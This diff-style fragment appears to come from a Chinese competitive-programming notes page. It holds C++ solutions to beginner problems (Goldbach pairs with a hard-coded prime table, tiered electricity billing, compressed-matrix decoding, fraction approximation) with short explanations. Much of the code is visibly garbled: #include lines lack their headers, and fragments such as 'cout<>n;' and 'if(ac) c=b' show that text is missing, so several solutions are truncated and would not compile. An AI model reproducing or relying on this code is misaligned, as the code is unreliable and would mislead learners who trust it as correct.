,3527,3529,3533,3539,3541,3547,3557,3559,3571,3581,3583,3593,3607,3613,3617,3623,3631,3637,3643,3659,3671,3673,3677,3691,3697,3701,3709,3719,3727,3733,3739,3761,3767,3769,3779,3793,3797,3803,3821,3823,3833,3847,3851,3853,3863,3877,3881,3889,3907,3911,3917,3919,3923,3929,3931,3943,3947,3967,3989,4001,4003,4007,4013,4019,4021,4027,4049,4051,4057,4073,4079,4091,4093,4099,4111,4127,4129,4133,4139,4153,4157,4159,4177,4201,4211,4217,4219,4229,4231,4241,4243,4253,4259,4261,4271,4273,4283,4289,4297,4327,4337,4339,4349,4357,4363,4373,4391,4397,4409,4421,4423,4441,4447,4451,4457,4463,4481,4483,4493,4507,4513,4517,4519,4523,4547,4549,4561,4567,4583,4591,4597,4603,4621,4637,4639,4643,4649,4651,4657,4663,4673,4679,4691,4703,4721,4723,4729,4733,4751,4759,4783,4787,4789,4793,4799,4801,4813,4817,4831,4861,4871,4877,4889,4903,4909,4919,4931,4933,4937,4943,4951,4957,4967,4969,4973,4987,4993,4999,5003,5009,5011,5021,5023,5039,5051,5059,5077,5081,5087,5099,5101,5107,5113,5119,5147,5153,5167,5171,5179,5189,5197,5209,5227,5231,5233,5237,5261,5273,5279,5281,5297,5303,5309,5323,5333,5347,5351,5381,5387,5393,5399,5407,5413,5417,5419,5431,5437,5441,5443,5449,5471,5477,5479,5483,5501,5503,5507,5519,5521,5527,5531,5557,5563,5569,5573,5581,5591,5623,5639,5641,5647,5651,5653,5657,5659,5669,5683,5689,5693,5701,5711,5717,5737,5741,5743,5749,5779,5783,5791,5801,5807,5813,5821,5827,5839,5843,5849,5851,5857,5861,5867,5869,5879,5881,5897,5903,5923,5927,5939,5953,5981,5987,6007,6011,6029,6037,6043,6047,6053,6067,6073,6079,6089,6091,6101,6113,6121,6131,6133,6143,6151,6163,6173,6197,6199,6203,6211,6217,6221,6229,6247,6257,6263,6269,6271,6277,6287,6299,6301,6311,6317,6323,6329,6337,6343,6353,6359,6361,6367,6373,6379,6389,6397,6421,6427,6449,6451,6469,6473,6481,6491,6521,6529,6547,6551,6553,6563,6569,6571,6577,6581,6599,6607,6619,6637,6653,6659,6661,6673,6679,6689,6691,6701,6703,6709,6719,6733,6737,6761,6763,6779,6781,6791,6793,6803,6823,6827,6829,6833,6841,6857,6863,6869,6871,6883,6899,6907,6911,6917,6947,6949,6959,6961,6967,6971,6977,6983,6991,6997,7001,7013,7019,7027,7039,7043,7057,7069,7079,7103,7109,7121,7127,7129,7151,7159,7177,7187,7193,7207,7211,7213,7219,7229,7237,7243,7247,7253,7283,7297,7307,7309,7321,7331,7333,7349,7351,7369,7393,7411,7417,7433,7451,7457,7459,7477,7481,7487,7489,7499,7507,7517,7523,7529,7537,7541,7547,7549,7559,7561,7573,7577,7583,7589,7591,7603,7607,7621,7639,7643,7649,7669,7673,7681,7687,7691,7699,7703,7717,7723,7727,7741,7753,7757,7759,7789,7793,7817,7823,7829,7841,7853,7867,7873,7877,7879,7883,7901,7907,7919,7927,7933,7937,7949,7951,7963,7993,8009,8011,8017,8039,8053,8059,8069,8081,8087,8089,8093,8101,8111,8117,8123,8147,8161,8167,8171,8179,8191,8209,8219,8221,8231,8233,8237,8243,8263,8269,8273,8287,8291,8293,8297,8311,8317,8329,8353,8363,8369,8377,8387,8389,8419,8423,8429,8431,8443,8447,8461,8467,8501,8513,8521,8527,8537,8539,8543,8563,8573,8581,8597,8599,8609,8623,8627,8629,8641,8647,8663,8669,8677,8681,8689,8693,8699,8707,8713,8719,8731,8737,8741,8747,8753,8761,8779,8783,8803,8807,8819,8821,8831,8837,8839,8849,8861,8863,8867,8887,8893,8923,8929,8933,8941,8951,8963,8969,8971,8999,9001,9007,9011,9013,9029,9041,9043,9049,9059,9067,9091,9103,9109,9127,9133,9137,9151,9157,9161,9173,9181,9187,9199,9203,9209,9221,9227,9239,9241,9257,9277,9281,9283,9293,9311,9319,9323,9337,9341,9343,9349,9371,9377,9391,9397,9403,9413,9419,9421,9431,9433,9437,9439,9461,9463,9467,9473,9479,9491,9497,9511,9521,9533,9539,9547,9551,9587,9601,9613,9619,9623,9629,9631,9643,9649,9661,9677,9679,9689,9697,9719,9721,9733,9739,9743,9749,9767,9769,9781,9787,9791,9803,9811,9817,9829,9833,9839,9851,9857,9859,9871,9883,9887,9901,9907,9923,9929,9931,9941,9949,9967,9973}; +void write(int n){ + for(int i=0;i<1229;i++){ + for(int j=0;j<1229;j++){ + if(a[i]+a[j]==n){ + cout<>n; + for(int i=4;i<=n;i++){ + if(i%2) continue; + write(i); + } + return 0; +} +``` +我打了一个表儿,你看这个`a`数组那么长,我们是靠程序来算出来的,要是全都挤在一起太慢了。 + +打表儿的程序: + +```cpp +// Author:PanDaoxi +#include +using namespace std; +int a[1229]; +void create(){ + int k=0; + for(int i=2;i<=10000;i++){ + bool flag=true; + for(int j=2;j +using namespace std; +int main(){ + // 计数 + int boy=0,girl=0; + string a; + cin>>a; + int len=a.size(); + for(int i=0;i +using namespace std; +int main(){ + int n,a,b=1,c=0,d; + cin>>n>>a; + for(int i=1;i>d; + if(ac) c=b; + a=d; + } + cout< +using namespace std; +int main(){ + int a,b; + cin>>a>>b; + cout<<(10*a+b)/19; + return 0; +} + +``` +# 小玉家的电费 + +## 题目描述 + +夏天到了,各家各户的用电量都增加了许多,相应的电费也交的更多了。小玉家今天收到了一份电费通知单。小玉看到上面写:据闽价电[2006]27号规定,月用电量在150千瓦时及以下部分按每千瓦时0.4463元执行,月用电量在151~400千瓦时的部分按每千瓦时0.4663元执行,月用电量在401千瓦时及以上部分按每千瓦时0.5663元执行;小玉想自己验证一下,电费通知单上应交电费的数目到底是否正确呢。请编写一个程序,已知用电总计,根据电价规定,计算出应交的电费应该是多少。 + +## 输入格式 + +输入一个整数,表示用电总计(单位以千瓦时计),不超过10000。 + +## 输出格式 + +输出一个数,保留到小数点后1位(单位以元计,保留到小数点后1位)。 + +## 样例 #1 + +### 样例输入 #1 + +``` +267 +``` + +### 样例输出 #1 + +``` +121.5 +``` +## 题解 +分段计费,写好`if`就可以了。 + +```cpp +#include +#include +using namespace std; +int main(){ + double s; + int n; + cin>>n; + if(n>400) s=150*0.4463+250*0.4663+(n-400)*0.5663; + else if(n>150) s=150*0.4463+(n-150)*0.4663; + else s=n*0.4463; + cout< +using namespace std; +// 可以不用二维数组,直接一次数组 +int a[40201]; +int main(){ + int n,m,k=0,text,tmp=1,t; + // m*m的方格 + cin>>m; + while(cin>>n){ + // 使用的字符 + text=k%2; + // 接下来,连着n个text + t=tmp,tmp+=n; + for(int i=t;i +using namespace std; +bool a[40201],text=true; +int main(){ + int n,m,tmp=1,t; + cin>>m; + while(cin>>n){ + text=!text,t=tmp,tmp+=n; + for(int i=t;i +#include +using namespace std; +int a[40200],n=0,point=0; // point储存下标 +int main(){ + char x,y='0'; + while(cin>>x){ // 输入字符 + // 字符数+1 + n++; + // 判断:如果现在的和刚才的一样 + if(x==y) a[point]++; + // 如果不一样,更新字符 + else a[point++]++,y=x; + } + // 因为n*n的矩阵,那么n= n的算术平方根 + cout< +using namespace std; +// 求最大公因数 +int f(int a,int b){ + if(b==0) return a; + else return f(b,a%b); +} +int main(){ + double t1,t2,small; + int a,b,l,r1,r2; + cin>>a>>b>>l; + t1=double(a)/b,small=double(l); + for(int i=1;i<=l;i++){ + for(int j=1;j<=l;j++){ + t2=double(i)/j; + // 寻找最小值 + if(f(i,j)&&t2>=t1&&t2-t1